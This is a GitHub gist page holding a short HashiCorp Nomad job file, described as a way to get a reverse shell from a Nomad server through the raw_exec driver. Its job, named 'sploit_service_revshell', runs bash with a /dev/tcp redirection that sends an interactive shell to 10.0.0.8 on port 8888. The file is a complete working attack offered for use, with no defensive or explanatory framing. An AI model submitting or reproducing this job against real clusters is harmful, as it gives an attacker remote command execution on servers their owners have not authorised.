Created
December 18, 2018 16:35
-
-
Save carnal0wnage/4a436a8dc0dcb142a8c836e48916dd71 to your computer and use it in GitHub Desktop.
hcl file to get a reverse shell from the nomad server via raw_exec
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
job "sploit_service_revshell" { | |
datacenters = ["dc1"] | |
group "sploit" { | |
task "shello" { | |
driver = "raw_exec" | |
config { | |
command = "/bin/bash" | |
args = ["-c", "bash -i >& /dev/tcp/10.0.0.8/8888 0>&1"] | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment